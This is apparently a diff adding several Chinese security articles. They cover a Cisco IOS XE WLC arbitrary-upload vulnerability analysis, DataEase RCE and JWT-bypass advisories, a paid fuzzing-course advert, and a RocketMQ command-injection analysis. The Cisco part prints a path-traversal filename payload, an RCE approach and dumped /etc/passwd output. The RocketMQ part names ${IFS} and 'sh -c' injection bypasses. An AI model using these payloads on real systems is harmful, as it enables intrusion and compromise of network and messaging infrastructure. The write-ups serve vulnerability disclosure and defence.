-- ewlc_jwt_upload_files ... if method == "POST" then whiletruedo local typ, req, err = form:read() ifnot typ then ngx.say("failed to read: ", err) return end if typ == "header"then local file_name = getFileName(req) ifnot utils.isNil(file_name) then ifnot file then file, err = io.open(location..file_name, "w+") ifnot file then return end end end elseif typ == "body"then if file then file:write(req) end elseif typ == "part_end"then if file then file:close() file = nil end elseif typ == "eof"then break end endelse ngx.say("Method Not Allowed") ngx.exit(405)end
|
||||
```
|
||||
|
||||
文件将被写入位置 .. file_name,其中位置定义为配置文件中的 /harddisk/ap_spectral_recording/
|
||||
,如下所示:set $upload_file_dst_path /harddisk/ap_spectral_recording/;
|
||||
|
||||
没有任何东西阻止我们使用 .. 进行路径遍历,所以下一个问题是:我们应该将文件放在哪里?
|
||||
|
||||
访问 https://10.0.23.70:8443/ 显示了默认的 OpenResty 主页,该页面从 /usr/binos/openresty/nginx/html
|
||||
提供,因此这是一个逻辑的目标位置——我们将尝试将文件放在这里,值得注意的是,该服务不需要身份验证,使其成为利用上传路径的理想候选。
|
||||
|
||||
filename="../../usr/binos/openresty/nginx/html/foo.txt"
|
||||
|
||||

|
||||
# RCE
|
||||
|
||||
现在只需建立一种可靠的方法,利用此上传功能就能够实现RCE,可能存在多种方法来实现这一点。
|
||||
|
||||
一种途径是使用 inotifywait 的服务,这是一个允许监控指定目录中文件事件的工具。
|
||||
|
||||
在深入研究这些服务后,我们发现了一个内部进程管理服务(pvp.sh),该服务等待文件写入到特定目录,一旦检测到变化,它可以根据服务配置文件中指定的命令触发服务重新加载。
|
||||
|
||||

|
||||
|
||||
pvp.sh 代码片段
|
||||
|
||||
简而言之,为了实现远程代码执行(RCE),我们需要:
|
||||
- 用我们自己的命令覆盖现有的配置文件
|
||||
|
||||
- 上传一个新文件以导致服务重新加载
|
||||
|
||||
- 检查是否成功
|
||||
|
||||

|
||||
|
||||
修改后的配置文件
|
||||
|
||||

|
||||
|
||||
发送请求
|
||||
```
|
||||
# curl -k https://10.0.23.70/webui/login/etc_passwdroot:*:0:0:root:/root:/bin/bashbinos:x:85:85:binos administrative user:/usr/binos/conf:/usr/binos/conf/bshell.shbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinmessagebus:x:998:997::/var/lib/dbus:/bin/falseavahi:x:997:996::/var/run/avahi-daemon:/bin/falseavahi-autoipd:x:996:995:Avahi autoip daemon:/var/run/avahi-autoipd:/bin/falseguestshell:!:1000:1000::/home/guestshell:qemu:x:1001:1001:qemu::/sbin/nologindockeruser:*:1000000:65536:Dockeruser:/:/sbin/nologin
|
||||
```
|
||||
|
||||
**注意:**在全新 WLC 安装测试中,端口 8443 默认是开放的——即使没有主动启用 AP Image Upgrade 功能。
|
||||
|
||||
这表明该服务可能在默认安装中启用,并且易受攻击的端点至少在测试的 C9800 系列版本上是可访问的。
|
||||
# 缓解措施
|
||||
|
||||
缓解措施的最佳选项是升级到最新版本,因为思科已经修复了该问题。
|
||||
|
||||
如果不可行,思科表示管理员可以禁用带外 AP 镜像下载功能,禁用此功能后,AP 镜像下载将使用 CAPWAP 方法进行 AP 镜像更新功能,这不会影响 AP 客户端状态。思科强烈建议在执行升级之前实施此缓解措施。
|
||||
|
||||
如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
|
||||
|
||||

|
||||
|
||||
## 往期回顾
|
||||
# 如何绕过签名校验
|
||||
#
|
||||
|
||||
[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[挖掘有回显ssrf的隐藏payload](https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496898&idx=1&sn=b6088e20a8b4fc9fbd887b900d8c5247&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
# 结论
|
||||
|
||||
分析 Cisco IOS XE WLC 中的该漏洞揭示了硬编码的密钥、输入验证不足以及暴露的端点如何导致严重的安全风险——即使在广泛部署的企业基础设施中同样如此。
|
||||
|
||||
原文:https://horizon3.ai/attack-research/attack-blogs/cisco-ios-xe-wlc-arbitrary-file-upload-vulnerability-cve-2025-20188-analysis/
|
||||
### 参考资料
|
||||
|
||||
[1]
|
||||
OpenResty : https://github.com/openresty/lua-nginx-module
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
# 【漏洞通告】DataEase远程代码执行漏洞安全风险通告
|
||||
嘉诚安全 2025-06-05 08:42
|
||||
|
||||
**漏洞背景**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
近日,嘉诚安全
|
||||
监测到
|
||||
DataEase远程代码执行漏洞,漏洞编号为:
|
||||
CVE-2025-48999、CVE-2025-49001、CVE-2025-49002
|
||||
。
|
||||
|
||||
|
||||
DataEase是一款开源的数据分析平台,提供丰富的数据可视化和分析功能,帮助用户轻松地进行数据探索和决策支持。
|
||||
|
||||
|
||||
鉴于漏洞危害较大,嘉诚安全提醒相关用户尽快更新至安全版本,避免引发漏洞相关的网络安全事件。
|
||||
|
||||
**漏洞详情**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
经研判,该漏洞为
|
||||
**高危**
|
||||
漏洞,POC/EXP
|
||||
**已公开,**
|
||||
技术细节状态**已公开**
|
||||
。
|
||||
|
||||
CVE-2025-48999为后台Redshift数据源JDBC漏洞,拥有后台权限的攻击者可通过该漏洞执行任意Java代码,从而获取服务器权限。
|
||||
|
||||
CVE-2025-49002为后台H2数据源JDBC漏洞,拥有后台权限的攻击者可通过该漏洞执行任意Java代码,从而获取服务器权限。
|
||||
|
||||
CVE-2025-49001为权限绕过漏洞,由于JWT鉴权逻辑缺陷,在密钥验证失败的情况下,未停止流程,仍进入到目标函数,导致攻击者可伪造JWT密钥,绕过鉴权。
|
||||
|
||||
**危害影响**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
影响版本:
|
||||
|
||||
DataEase < 2.10.10
|
||||
|
||||
**处置建议**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
官方修复方案:
|
||||
|
||||
DataEase官方已发布修复版本,请尽快更新至2.10.10及以上版本 :
|
||||
|
||||
https://github.com/dataease/dataease/security/advisories/GHSA-6pq2-6q8x-mp2r
|
||||
|
||||
https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
|
||||
|
||||
https://github.com/dataease/dataease/security/advisories/GHSA-xx2m-gmwg-mf3r
|
||||
|
||||
临时缓解措施:
|
||||
|
||||
1.通过防护类设备进行防护,拦截请求中出现的恶意Jdbc特征。
|
||||
|
||||
2.在不影响业务的情况下,限制设备出网。
|
||||
|
||||
3.如非必要,避免将资产暴露在互联网。
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
# 【漏洞预警】DataEase 远程代码执行漏洞(CVE-2025-49002)
|
||||
原创 聚焦网络安全情报 安全聚 2025-06-05 11:29
|
||||
|
||||

|
||||
|
||||
|
||||
**严**
|
||||
|
||||
**重**
|
||||
|
||||
**公**
|
||||
|
||||
**告**
|
||||
|
||||
|
||||
|
||||
近日,安全聚实验室监测到 DataEase 存在远程代码执行漏洞 ,编号为:CVE-2025-49002,CVSS:9.8 攻击者通过H2数据库的JDBC接口利用大小写绕过安全补丁(CVE-2025-32966),导致远程代码执行。
|
||||
|
||||
|
||||
**01 漏洞描述**
|
||||
|
||||
|
||||
|
||||
**VULNERABILITY DESC.**
|
||||
|
||||
|
||||
|
||||
|
||||
DataEase是一款数据库管理软件,旨在帮助用户轻松地创建和管理数据库应用程序。该软件提供了直观的界面和强大的功能,使用户能够快速设计数据库结构、建立关系、定义数据输入和输出格式,并生成相应的应用程序代码。该漏洞是由于H2数据库JDBC驱动在SQL解析时对标识符大小写校验不严格的缺陷,成功绕过了针对SQL注入的安全补丁防护机制。攻击者可以结合CVE-2025-49001漏洞,通过精心构造的恶意请求伪造有效的JWT身份认证令牌,从而绕过系统的身份验证,通过特制的数据库查询语句实现任意代码注入,最终导致权限提升,对系统安全构成严重威胁。
|
||||
|
||||
|
||||
**02 影响范围**
|
||||
|
||||
|
||||
|
||||
**IMPACT SCOPE**
|
||||
|
||||
|
||||
|
||||
|
||||
DataEase <= 2.10.8
|
||||
|
||||
|
||||
**03 安全措施**
|
||||
|
||||
|
||||
|
||||
**SECURITY MEASURES**
|
||||
|
||||
|
||||
|
||||
|
||||
目前厂商已发布可更新版本,建议用户尽快更新至
|
||||
DataEase
|
||||
产品的修复版本或更高的版本:
|
||||
|
||||
|
||||
DataEase >= 2.10.10
|
||||
|
||||
|
||||
下载链接:
|
||||
|
||||
https://github.com/dataease/dataease/releases/tag/v2.10.10
|
||||
|
||||
|
||||
**04 参考链接**
|
||||
|
||||
|
||||
|
||||
**REFERENCE LINK**
|
||||
|
||||
|
||||
|
||||
|
||||
1.https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34
|
||||
|
||||
|
||||
**05 技术支持**
|
||||
|
||||
|
||||
|
||||
**TECHNICAL SUPPORT**
|
||||
|
||||
|
||||
|
||||
|
||||
长按识别二维码,关注 **"安全聚"**
|
||||
公众号!如有任何问题或需要帮助,随时联系我们的技术支持团队。
|
||||
|
||||
|
||||

|
||||
|
||||
**联系我们**
|
||||
|
||||
微信号:SecGat
|
||||
|
||||
关注安全聚,获取更多精彩文章。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
**HISTORY**
|
||||
|
||||
/
|
||||
|
||||
**往期推荐**
|
||||
|
||||
[【漏洞库支撑单位】成为CNNVD漏洞库支撑单位,助力网络安全!申请全流程解读,专业团队助您高效通过](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486661&idx=1&sn=bde83cb31639f48a4db14ef0d3d49291&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Vite 任意文件读取漏洞(CVE-2025-31486)](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486667&idx=1&sn=0aa6e0b666110b7eb82210b769e8e216&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Windows TCP/IP 远程执行代码漏洞(CVE-2024-38063)](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486614&idx=1&sn=dc1e21747d876cf3bf58ade5a6b64cab&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】FOGPROJECT 文件名命令注入漏洞(CVE-2024-39914)](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486405&idx=1&sn=dfa7ce2bc783c81365d21815a76f39c7&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
[【漏洞预警 | 已复现】Next.js Middleware权限绕过漏洞(CVE-2025-29927)](https://mp.weixin.qq.com/s?__biz=MzkyNzQzNDI5OQ==&mid=2247486651&idx=1&sn=debd2daa82821a0e5c0217ad2d5bfee2&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
# 【高危漏洞预警】Dataease JWT认证绕过&H2数据库远程代码执行漏洞
|
||||
cexlife 飓风网络安全 2025-06-05 08:22
|
||||
|
||||

|
||||
|
||||
1.Dataease JWT 认证绕过漏洞(CVE-2025-49001)
|
||||
|
||||
漏洞描述:
|
||||
|
||||
DаtаEаѕе是一个开源的业务智能和数据可视化工具,它允许用户通过图形化界面对数据进行分析和展示,在版本2.10.10之前,该工具的密钥验证未能正确实施,导致用户可以使用任意密钥伪造JWT令牌。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可能通过绕过身份认证来获取未经授权的访问权限
|
||||
|
||||
影响产品:
|
||||
|
||||
DataEase <= 2.10.8
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
DаtаEаѕе身份认证绕过漏洞的补丁-更新至最新版本2.10.10
|
||||
|
||||
目前官方已有可更新版本,建议受影响用户升级至最新版本:
|
||||
|
||||
DаtаEаѕе >= 2.1010
|
||||
|
||||
官方补丁下载地址:
|
||||
|
||||
https://github.com/dataease/dataease/releases/tag/v2.10.10
|
||||
|
||||
|
||||
2.Dataease H2数据库远程代码执行漏洞(CVE-2025-49002)
|
||||
|
||||
漏洞描述:
|
||||
|
||||
DаtаEаѕе是一个开源的业务智能和数据可视化工具,广泛应用于数据展示和分析。该工具在2.10.10版本之前的补丁修复CVE-2025-32966时存在缺陷,由于INIT和RUNSCRIPT被禁止,攻击者可以通过大小写不敏感的方式绕过补丁。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
攻击场景:
|
||||
|
||||
攻击者可能通过大小写不敏感的方式绕过补丁上传恶意文件,执行远程代码。
|
||||
|
||||
影响产品:
|
||||
|
||||
DataEase <= 2.10.8
|
||||
|
||||
修复建议:
|
||||
|
||||
补丁名称:
|
||||
|
||||
DаtаEаѕе远程代码执行漏洞的补丁—更新至最新版本v2.1010
|
||||
|
||||
目前官方已有可更新版本,建议受影响用户升级至最新版本:
|
||||
|
||||
DаtаEаѕе >= 2.1010
|
||||
|
||||
官方补丁下载地址:
|
||||
|
||||
https://github.com/dataease/dataease/releases/tag/v2.10.10
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,297 @@
|
||||
# 更新:改造模糊测试工具 | 系统0day安全-二进制漏洞攻防(第4期)
|
||||
小雪 看雪学苑 2025-06-05 09:59
|
||||
|
||||
**更新:第六章:改造模糊测试工具**
|
||||
|
||||
6.1 模糊测试挖掘命令注入漏洞
|
||||
|
||||
https://www.kanxue.com/book-193-5395.htm
|
||||
|
||||
|
||||
6.2 模糊测试挖掘命令注入实现
|
||||
|
||||
https://www.kanxue.com/book-193-5420.htm
|
||||
|
||||
|
||||
二进制漏洞,作为黑客攻击的一把利刃,其威胁不容小觑。它们潜藏在软件的底层代码中,一旦被利用,可能导致数据泄露、系统崩溃,甚至更严重的安全事件。为了应对这一挑战,我们精心打造了一门全新的课程——**系统0day安全-二进制漏洞攻防(第4期)。**
|
||||
|
||||
|
||||

|
||||
|
||||
上新价:¥15000
|
||||
|
||||
为企业构建一道坚不可摧的安全防线
|
||||
|
||||
|
||||
·
|
||||
|
||||
|
||||
课程介绍
|
||||
|
||||
|
||||
本课程由资深系统安全研究员主讲,专注于Linux内核、AOSP以及httpd服务器漏洞的挖掘与利用。
|
||||
课程内容全面覆盖了二进制漏洞攻防领域的多个方面,包括模糊测试、AFL原理、ASAN原理、网络协议漏洞挖掘、Linux内核漏洞挖掘、AOSP漏洞挖掘以及CodeQL代码审计等,
|
||||
为学员提供了丰富的学习资源。
|
||||
|
||||
|
||||
本课程预估时长为80小时,课程内容从基础的漏洞挖掘技术纵览到实战案例分析,再到课程回顾,系统性地构建了二进制漏洞攻防的知识体系。
|
||||
|
||||
|
||||
|
||||
课程收获
|
||||
|
||||
完成本课程后,学员将掌握二进制漏洞挖掘和利用的基本原理和方法,包括模糊测试、AFL原理、ASAN原理等。
|
||||
|
||||
|
||||
学员将能够熟练使用模糊测试工具进行漏洞挖掘,了解网络协议漏洞挖掘实战,掌握Linux内核漏洞挖掘实战技巧,学会使用CodeQL进行代码审计和漏洞挖掘,提高代码安全审查能力。
|
||||
|
||||
|
||||
·
|
||||
|
||||
|
||||
实例+实操
|
||||
|
||||
|
||||
课程
|
||||
结合实际案例进行讲解
|
||||
,包括
|
||||
网络协议漏洞挖掘实战、Linux内核漏洞挖掘实战和AOSP漏洞挖掘实战
|
||||
等,帮助学员更好地理解和掌握二进制漏洞攻防的实际应用。通过理论讲解、实践操作和nday分析,学员将全面掌握二进制漏洞攻防的相关技能。
|
||||
|
||||
|
||||
强调实践操作,教授
|
||||
如何使用模糊测试工具、改造模糊测试工具、从零实现模糊测试工具等,提升学员的动手能力和实际操作经验。
|
||||
学员将学会熟练使用模糊测试工具进行漏洞挖掘,了解网络协议漏洞挖掘实战,掌握Linux内核漏洞挖掘实战技巧,学会使用CodeQL进行代码审计和漏洞挖掘,提高代码安全审查能力。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
·
|
||||
|
||||
|
||||
录播+直播 课程目录(上下滑动查看)
|
||||
|
||||
|
||||
录播内容安排
|
||||
|
||||
第一章 漏洞挖掘技术纵览
|
||||
|
||||
1.1 准备阶段
|
||||
|
||||
1.2 课程介绍
|
||||
|
||||
|
||||
第二章 模糊测试介绍
|
||||
|
||||
2.1 模糊测试介绍
|
||||
|
||||
|
||||
第三章 AFL原理
|
||||
|
||||
3.1 路径信息反馈
|
||||
|
||||
3.2 forkserver
|
||||
|
||||
3.3 样本变异
|
||||
|
||||
3.4 一些思考
|
||||
|
||||
|
||||
第四章 模糊测试工具基础使用
|
||||
|
||||
4.1 AFL环境搭建
|
||||
|
||||
4.2 AFL使用
|
||||
|
||||
4.3 AFL字典
|
||||
|
||||
4.4 AFL持续化Fuzz
|
||||
|
||||
4.5 AFL闭源Fuzz
|
||||
|
||||
4.6 AFL拓展使用
|
||||
|
||||
|
||||
第五章 ASAN原理解析
|
||||
|
||||
5.1 开源asan
|
||||
|
||||
5.2 闭源asan
|
||||
|
||||
|
||||
第六章 改造模糊测试工具
|
||||
|
||||
6.1 模糊测试挖掘命令注入漏洞
|
||||
|
||||
6.2 模糊测试挖掘命令注入实现
|
||||
|
||||
6.3 网络协议fuzz之cgi
|
||||
|
||||
|
||||
第七章 从零实现模糊测试工具
|
||||
|
||||
7.1 自定义fuzz框架源码讲解
|
||||
|
||||
7.2 自定义fuzz框架拓展
|
||||
|
||||
|
||||
第八章 网络协议漏洞挖掘实战
|
||||
|
||||
8.1 webserver与fuzz
|
||||
|
||||
8.2 lighttpd-基础fuzz
|
||||
|
||||
8.3 lighttpd-单一字段fuzz
|
||||
|
||||
8.4 nginx-fuzz
|
||||
|
||||
|
||||
第九章 LibAFL(跨平台,可拓展)
|
||||
|
||||
9.1 LibAFL使用
|
||||
|
||||
9.2 自行构建完整的fuzz demo
|
||||
|
||||
9.3 安卓frida_mode-fuzz
|
||||
|
||||
9.4 跨平台使用(no_std mode支持嵌入式设备)
|
||||
|
||||
|
||||
第十章 linux内核漏洞挖掘实战
|
||||
|
||||
10.1 syzkaller-模板
|
||||
|
||||
10.2 syzkaller使用技巧
|
||||
|
||||
10.3 设计内核fuzz模型
|
||||
|
||||
|
||||
第十一章 codeql代码审计
|
||||
|
||||
11.1 codeql-环境配置
|
||||
|
||||
11.2 codeql-基础语法
|
||||
|
||||
11.3 codeql-func类
|
||||
|
||||
11.4 codeql-expr类
|
||||
|
||||
11.5 codeql-stmt类
|
||||
|
||||
11.6 codeql-conver类型
|
||||
|
||||
11.7 codeql-class类
|
||||
|
||||
11.8 codeql局部数据流分析
|
||||
|
||||
11.9 codeql-全局数据流分析
|
||||
|
||||
|
||||
第十二章 课程回顾
|
||||
|
||||
12.1 课程回顾
|
||||
|
||||
|
||||
|
||||
直播内容安排
|
||||
|
||||
1.AFL多场景下演示-0
|
||||
|
||||
2.AFL多场景下演示-1
|
||||
|
||||
3.boa 漏洞挖掘实战
|
||||
|
||||
4.apache 漏洞挖掘实战
|
||||
|
||||
5.windows 漏洞挖掘
|
||||
|
||||
6.CVE-2022-0847(dirty_pipe) 漏洞分析
|
||||
|
||||
7.使用syzkaller挖掘CVE-2022-0847
|
||||
|
||||
8.CVE-2022-2588(dirty_cred利用) 漏洞分析
|
||||
|
||||
9.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-0
|
||||
|
||||
10.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-1
|
||||
|
||||
11.使用syzkaller挖掘linux内核蓝牙协议-0
|
||||
|
||||
12.使用syzkaller挖掘linux内核蓝牙协议-1
|
||||
|
||||
13.linux内核系统调用兼容性fuzz
|
||||
|
||||
14.codeql实战-0
|
||||
|
||||
15.codeql实战-1
|
||||
|
||||
16.android经典漏洞-create_package_context滥用
|
||||
|
||||
17.android经典漏洞-webview跨域
|
||||
|
||||
18.android经典漏洞-intent重定向
|
||||
|
||||
19.android经典漏洞-pending_intent
|
||||
|
||||
20.使用codeql挖掘aosp漏洞
|
||||
|
||||
21.总结回顾
|
||||
|
||||
|
||||
本课程适合所有对二进制漏洞攻防感兴趣的专业人士,无论您是信息安全爱好者、安全工程师、系统开发人员还是安全研究员,都能在本课程中获得宝贵的知识和经验。
|
||||
|
||||
|
||||
|
||||
·
|
||||
|
||||
|
||||
立即学习
|
||||
|
||||
|
||||

|
||||
|
||||
原价:¥20000
|
||||
|
||||
折后:¥15000
|
||||
|
||||
名额有限,欲报从速
|
||||
|
||||
|
||||

|
||||
|
||||
·课程咨询·
|
||||
|
||||
|
||||

|
||||
|
||||
万先生
|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
**球分享**
|
||||
|
||||

|
||||
|
||||
**球点赞**
|
||||
|
||||

|
||||
|
||||
**球在看**
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
点击阅读原文查看更多
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
# 消息中间件RocketMQ命令执行漏洞分析
|
||||
NEURON SAINTSEC 2025-06-05 11:15
|
||||
|
||||
RocketMQ是由阿里捐赠给Apache的一款低延迟、高并发、高可用、高可靠的分布式消息中间件。RocketMQ既可为分布式应用系统提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量消息堆积、高吞吐、可靠重试等特性。
|
||||
|
||||
|
||||
|
||||
**0**
|
||||
|
||||
|
||||
|
||||
**1**
|
||||
|
||||
|
||||
**漏洞分析**
|
||||
|
||||
|
||||
|
||||
RocketMQ 5.1.0及以下版本,RocketMQ的NameServer、Broker、Controller等多个组件外网泄露,缺乏权限验证,攻击者可以利用该漏洞利用更新配置功能以RocketMQ运行的系统用户身份执行命令。 此外,攻击者可以通过伪造 RocketMQ 协议内容来达到同样的效果。
|
||||
|
||||
漏洞点位于FilterServer,比对一下版本差异,既然是命令执行尝试搜索Runtime,能够找到:
|
||||
|
||||

|
||||
|
||||
callShell函数如果参数完全可控那么确实是一处命令执行的点,本地部署一下环境,若是要启动的话起一下Namesrv和Broker就可以了,需要设置一下ROCKETMQ_HOME为项目地址以及-n 127.0.0.1:9876指定一下namesrv的地址。
|
||||
|
||||
在org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer处调用了FilterServerUtil.callShell:
|
||||
```
|
||||
```
|
||||
|
||||
cmd取决于buildStartCommand函数:
|
||||
```
|
||||
```
|
||||
|
||||
例如我用-n参数指定namesrv地址,那么此处最后的cmd值为:
|
||||
```
|
||||
```
|
||||
|
||||
若指定了-c参数则为:
|
||||
```
|
||||
```
|
||||
|
||||
那么实际上可控点有三处,此命令简化后为:
|
||||
```
|
||||
```
|
||||
|
||||
同时查阅资料或者自己debug时都不难发现, BrokerController启动会创建一个定时任务每30秒去向NameSrv注册信息(broker的一个重要作用就是向namesrv注册路由信息,同时也会注册Broker自身信息)。
|
||||
|
||||
org.apache.rocketmq.broker.BrokerController#startBasicService:
|
||||
```
|
||||
```
|
||||
|
||||
broker的每一个模块都会调用到,此时自然而然会调用到filter srv,进一步调用buildStartCommand进入到命令执行的函数,也就是说如果能够在运行环境中改动某一处可控点的值即可完成命令执行。
|
||||
|
||||
|
||||
**0**
|
||||
|
||||
|
||||
|
||||
**2**
|
||||
|
||||
|
||||
**漏洞利用**
|
||||
|
||||
|
||||
这个漏洞本质上还是一个命令注入,现在的问题是:
|
||||
|
||||
```
|
||||
```
|
||||
|
||||
此处并非直接可控,须知在执行命令前它会以空白为间隔将命令分割为数组再传入exec中:
|
||||
```
|
||||
```
|
||||
|
||||
这里需要稍稍绕一下,因为诸如ping&ls这种都是会被当成一个语句,同时分割空白,没办法以常规的方式注入,通常情况下都会用以下两种方式来解决:
|
||||
- 利用${IFS}绕过空格
|
||||
|
||||
- 在要执行的shell前插入sh -c $@ | sh . echo
|
||||
|
||||
那么更新配置来插入shell的方式其实很简单,在rocketmq项目下有tools这个包,DefaultMQAdminExt其下是所有运维方法的汇总,自然也可以用来更新配置,当然了如果熟悉协议也可以伪造协议完成更新配置。
|
||||
```
|
||||
```
|
||||
|
||||
此时连接后发现并没有执行命令,在前面的分析中还漏了一个点:
|
||||
```
|
||||
```
|
||||
|
||||
此处还要判断i<more才会进入到callShell,其中this.brokerController.getBrokerConfig().getFilterServerNums()
|
||||
取到的值是0,解决起来也很简单,它这里也是从broker的配置中取出,因此直接修改filterServerNums为大于0的值即可。
|
||||
```
|
||||
```
|
||||
|
||||

|
||||
|
||||
从这里也能够很明显的看出漏洞的利用很简单,只需要目标的端口开放,版本符合即可利用。
|
||||
|
||||
需要注意的是,这个漏洞在打了一次之后会由于更改了配置文件,同时broker会定期更新,因此会定期执行命令,打完后需要再次覆盖为原来的配置。
|
||||
## 修复
|
||||
- 使端口不对外开放
|
||||
|
||||
- 更新版本至5.1.1以上或者4.9.6以上
|
||||
|
||||
**0**
|
||||
|
||||
|
||||
|
||||
**3**
|
||||
|
||||
|
||||
**reference**
|
||||
|
||||
|
||||
## [1] cve-2023-33246
|
||||
|
||||
https://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyphttps://lists.apache.org/thread/1s8j2c8kogthtpv3060yddk03zq0pxyp
|
||||
|
||||
[2] vulhub/rocketmq/CVE-2023-33246
|
||||
|
||||
https://github.com/vulhub/vulhub/tree/master/rocketmq/CVE-2023-33246
|
||||
|
||||
|
||||
|
||||
